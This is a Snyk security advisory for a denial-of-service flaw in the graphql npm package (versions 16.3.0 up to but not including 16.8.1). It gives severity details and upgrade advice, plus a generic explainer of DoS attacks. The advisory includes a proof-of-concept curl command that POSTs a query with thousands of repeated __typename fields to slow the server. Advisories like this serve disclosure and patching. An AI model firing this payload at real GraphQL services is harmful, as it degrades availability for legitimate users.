Denial of Service (DoS) Affecting graphql package, versions >=16.3.0 <16.8.1



    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (21st percentile)
Expand this section
5.3 medium

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  • Snyk ID SNYK-JS-GRAPHQL-5905181
  • published 19 Sep 2023
  • disclosed 19 Sep 2023
  • credit Tadhg Lewis

How to fix?

Upgrade graphql to version 16.8.1 or higher.


Affected versions of this package are vulnerable to Denial of Service (DoS) due to insufficient checks in the OverlappingFieldsCanBeMergedRule.ts file when parsing large queries. This vulnerability allows an attacker to degrade system performance.

Note: It was not proven that this vulnerability can crash the process.


  1. pnpm install && pnpm start

  2. Run

curl \
--data "{\"query\":\"{ $(python3 -c "print('%s' % ('__typename ' * 1000))")}\"}" \
--header 'Content-Type: application/json' \
--include \
--request POST \

This will take ~2.5s and increase to ~21s if you change the number of __typename to 3000


Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package